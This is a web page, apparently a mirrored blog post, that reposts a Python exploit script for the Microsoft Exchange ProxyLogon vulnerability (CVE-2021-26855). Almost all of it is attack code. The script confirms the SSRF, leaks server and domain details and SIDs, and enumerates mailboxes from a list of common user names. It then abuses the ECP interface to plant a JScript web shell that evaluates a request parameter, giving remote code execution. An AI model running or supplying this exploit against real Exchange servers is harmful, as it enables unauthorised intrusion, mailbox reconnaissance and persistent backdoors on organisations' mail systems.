zoukankan      html  css  js  c++  java
  • CVE-2021-26855 Exchange Server RCE

    exchange2013会有点问题

    '''
    Author: Udyz
    Reference:
    - https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
    - https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
    - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml
    - https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
    - https://proxylogon.com
    [*] CVE-2021-26855 SSRF Exchange Server
    '''
    # -*- coding: utf-8 -*-
    from typing import Text
    import requests
    import sys
    import re
    import time
    import webbrowser
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    import os
    import tldextract
    
    user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
    #i don't know how to use regex domain without subdomain, so im gonna use this modules...
    def proxylogon(target, mail, FQDN):
        shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
        shell_name = 'rickroll.aspx'
        shell_path = "Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\"+shell_name
        shell_absolute_path = "\\127.0.0.1\c$\%s" % shell_path
        sid = input('(+) Put Sid: ')
        proxyLogon_request = '<r at="Negotiate" ln="john"><s>%s</s></r>' % sid
        ct = requests.post(url=target, headers={
            "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "msExchLogonMailbox":"S-1-5-21",
            "User-Agent": user_agent
        },
                        data=proxyLogon_request,
                        verify=False
                        )
        if ct.status_code != 241 or not "set-cookie" in ct.headers:
            print("Proxylogon Error!")
            exit()
        sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
        msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
        print("Got session id: " + sess_id)
        print("Got canary: " + msExchEcpCanary)
    
        ct = requests.get(url=target, headers={
            "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                FQDN, sess_id, msExchEcpCanary),
            "User-Agent": user_agent
        },
                        verify=False
                        )
        if ct.status_code != 200:
            print("Wrong canary!")
            print("Sometime we can skip this ...")
        rbacRole = ct.text.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
        # print "Got rbacRole: "+ rbacRole
    
        print("=========== It means good to go!!!====")
    
        ct = requests.post(url=target, headers={
            "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
            "Content-Type": "application/json; charset=utf-8",
            "User-Agent": user_agent
    
        },
                        json={"filter": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                            "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                        verify=False
                        )
        if ct.status_code != 200:
            print("GetOAB Error!")
            exit()
        oabId = ct.text.split('"RawIdentity":"')[1].split('"')[0]
        print("Got OAB id: " + oabId)
    
        oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                    "properties": {
                        "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                    "ExternalUrl": "http://ffff/#%s" % shell_content}}}
    
        ct = requests.post(url=target, headers={
            "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
            "Content-Type": "application/json; charset=utf-8",
            "User-Agent": user_agent
        },
                        json=oab_json,
                        verify=False
                        )
        if ct.status_code != 200:
            print("Set external url Error!")
            exit()
    
        reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                            "FilePathName": shell_absolute_path}}}
    
        ct = requests.post(url=target, headers={
            "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
            "Content-Type": "application/json; charset=utf-8",
            "User-Agent": user_agent
        },
                        json=reset_oab_body,
                        verify=False
                        )
    
        if ct.status_code != 200:
            print("Write Shell Error!")
            exit()
    
        print("Successful!")
    	#print('(%) Proxylogon Coming soon...')
    def exploit(url):
    	try:
    		print('[*] Target: %s'%url)
    		server = url + '/owa/auth.owa'
    		s = requests.Session()
    		req = s.post(server, verify=False,timeout=15)
    		if not req.status_code == 400:
    			print('[-] Cant get FQDN!')
    			exit(0)
    		server_name = req.headers["X-FEServer"]
    		print('(*) Getting FQDN Name: %s'%(server_name))
    		path_maybe_vuln = '/ecp/ssrf.js'
    		headers = {
    		'User-Agent': 'Hello-World',
    		'Cookie': 'X-BEResource={FQDN}/EWS/Exchange.asmx?a=~1942062522;'.format(FQDN=server_name),
    		'Connection': 'close',
    		'Content-Type': 'text/xml',
    		'Accept-Encoding': 'gzip'
    		}
    		payload = """<?xml version="1.0" encoding="utf-8"?>
    					<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    					xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
    					xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
    					xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    					    <soap:Body>
    					        <m:GetFolder>
    					            <m:FolderShape>
    					                <t:BaseShape>Default</t:BaseShape>
    					            </m:FolderShape>
    					            <m:FolderIds>
    					                <t:DistinguishedFolderId Id="inbox">
    					                    <t:Mailbox>
    					                        <t:EmailAddress>admin@domain.tld</t:EmailAddress>
    					                    </t:Mailbox>
    					                </t:DistinguishedFolderId>
    					            </m:FolderIds>
    					        </m:GetFolder>
    					    </soap:Body>
    					</soap:Envelope>
    		"""
    		reqs = s.post('%s/%s' %(url,path_maybe_vuln),headers=headers,data=payload, verify=False,timeout=15)
    		if reqs.status_code == 200:
    			print('(+) Target is Vuln to SSRF [CVE-2021-26855]!')
    			print('(*) Getting Information Server')
    			print('(+) Computer Name = %s'%reqs.headers["X-DiagInfo"])
    			print('(+) Domain Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1])
    			print('(+) Guest SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0])
    			print('(*) Find valid mail from users list')
    			u_m = reqs.headers["X-CalculatedBETarget"].split(',')[1]
    			f = ['test','test01','test1','guest','administrator','sysadmin','info','noreply','log','no-reply','sqlsvr','jerry','sqladmin','dbadmin']
    			print('+ %s' %reqs.headers["X-CalculatedBETarget"].split(',')[1])
    			X = input('(+) Put Domain Server without Subdomain: ')
                
    			for u in f:
    				domainstr = tldextract.extract(u_m)
    				domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
    				user = u
    				if ('local' in u_m):
    					domain = '%s.local'%reqs.headers["X-CalculatedBETarget"].split(',')[1].split('.')[1]
    				elif X == '':
    					domainstr = tldextract.extract(u_m)
    					domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
    				else:
    					domain = X
    				mail = '{user}@{domain}'.format(user=user, domain=domain)
    				mailnum = '''<?xml version="1.0" encoding="utf-8"?>
    					<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    					xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
    					xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
    					xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    					    <soap:Body>
    					        <m:GetFolder>
    					            <m:FolderShape>
    					                <t:BaseShape>Default</t:BaseShape>
    					            </m:FolderShape>
    					            <m:FolderIds>
    					                <t:DistinguishedFolderId Id="inbox">
    					                    <t:Mailbox>
    					                        <t:EmailAddress>{mail}</t:EmailAddress>
    					                    </t:Mailbox>
    					                </t:DistinguishedFolderId>
    					            </m:FolderIds>
    					        </m:GetFolder>
    					    </soap:Body>
    					</soap:Envelope>
    				'''.format(mail=mail)
    				mail_valid = ''
    				reqx = s.post('%s/%s' %(url,path_maybe_vuln),headers=headers,data=mailnum, verify=False)
    				if '<m:ResponseCode>NoError</m:ResponseCode>' in reqx.text  in reqx.text:
    					xmlstr = """{data}""".format(data=reqx.text)
    					total_count = re.findall('(?:<t:TotalCount>)(.+?)(?:</t:TotalCount>)', xmlstr)
    					print('-'*35)
    					print('(+) %s | Total Inbox = %s'%(mail,total_count[0]))
    					mail_valid = mail
    				elif 'Access is denied. Check credentials and try again' in reqx.text or "<m:ResponseCode>ErrorAccessDenied</m:ResponseCode>":
    					print('-'*35)
    					print('(+) %s | Valid Mail!'%(mail))
    					mail_valid = mail
    				else:
    					print('(-) %s | Invalid mail'%(mail))
    				headers_for_audio = {
    				"User-Agent": "Hello-World",
    				"Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=server_name),
    				"Connection": "close",
    				"Content-Type": "text/xml"
    				}
    				autodiscover_payload = '''
    				<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    			    <Request>
    			      <EMailAddress>{mail}</EMailAddress>
    			      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    			    </Request>
    			</Autodiscover>
    				'''.format(mail=mail_valid)
    				r3q = s.post('%s/%s'%(url,path_maybe_vuln), headers=headers_for_audio, data=autodiscover_payload, verify=False)
    				if 'DisplayName' in r3q.text:
    					txtstr = """%s"""%(r3q.text)
    					display_name = re.findall('(?:<DisplayName>)(.+?)(?:</DisplayName>)', txtstr)
    					legacyDN = re.findall('(?:<LegacyDN>)(.+?)(?:</LegacyDN>)', txtstr)
    					server = r3q.text.split('<Server>')[1].split('</Server>')[0]
    					groupname = re.findall('(?:<GroupingInformation>)(.+?)(?:</GroupingInformation>)', txtstr)
    					mapi_body = legacyDN[0] + "x00x00x00x00x00xe4x04x00x00x09x04x00x00x09x04x00x00x00x00x00x00"
    					mapireq = requests.post("%s/%s" % (url,path_maybe_vuln), headers={
    					    "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=%s&a=~1942062522;" %(server_name, server),
    					    "Content-Type": "application/mapi-http",
    					    "X-Requesttype": "Connect",
    					    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    					    "X-Clientapplication": "Outlook/15.0.4815.1002",
    					    "X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
    					    "User-Agent": "Hello-World"
    						},
    					    data=mapi_body,
    					    verify=False
    					)
                        # print(mapireq.text)
    					try:
                            
    						if mapireq.status_code != 200 or "act as owner of a UserMailbox" not in mapireq.text:
    							print('(+) Display Name = %s' %display_name[0])
    							print('(+) Group Name = %s'%groupname[0])
    							print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
    							print('-'*35)
    						else:
    							sid = mapireq.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
    							print('(+) Display Name = %s' %display_name[0])
    							print('(+) Group Name = %s'%groupname[0])
    							print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
    							print('(+) User SID = %s'%sid)
    							print('-'*35)
    					except IndexError:
    							print('(+) Display Name = %s' %display_name[0])
    							print('(+) Group Name = %s'%groupname[0])
    							print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
    							print('-'*35)
    			proxylogon('%s/%s'%(url,path_maybe_vuln), mail, server_name)	
    			exit(0)
    		else:
    			print('(-) Target is not Vuln to SSRF [CVE-2021-26855]!')
    	#except Exception as e:
    		#print(e)
    		#pass
    	except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
    		print(e)
    		pass
    if(len(sys.argv) < 2):
    	print('[*] CVE-2021-26855 SSRF Exchange Server
    ./%s <https://url>
    --------------------
    + Author: github.com/Udyz
    + twitter.com/lotusdll
    --------------------
    '%(sys.argv[0]))
    	exit(0)
    exploit(sys.argv[1])
    
  • 相关阅读:
    python3 之 内置函数range() Be
    从零开始学习Sencha Touch MVC应用之十四
    从零开始学习Sencha Touch MVC应用之十六
    从零开始学习Sencha Touch MVC应用之十五
    从零开始学习Sencha Touch MVC应用之十三
    从零开始学习Sencha Touch MVC应用之十七
    从零开始学习Sencha Touch MVC应用之十七
    从零开始学习Sencha Touch MVC应用之十四
    从零开始学习Sencha Touch MVC应用之十三
    从零开始学习Sencha Touch MVC应用之十五
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/14535913.html
Copyright © 2011-2022 走看看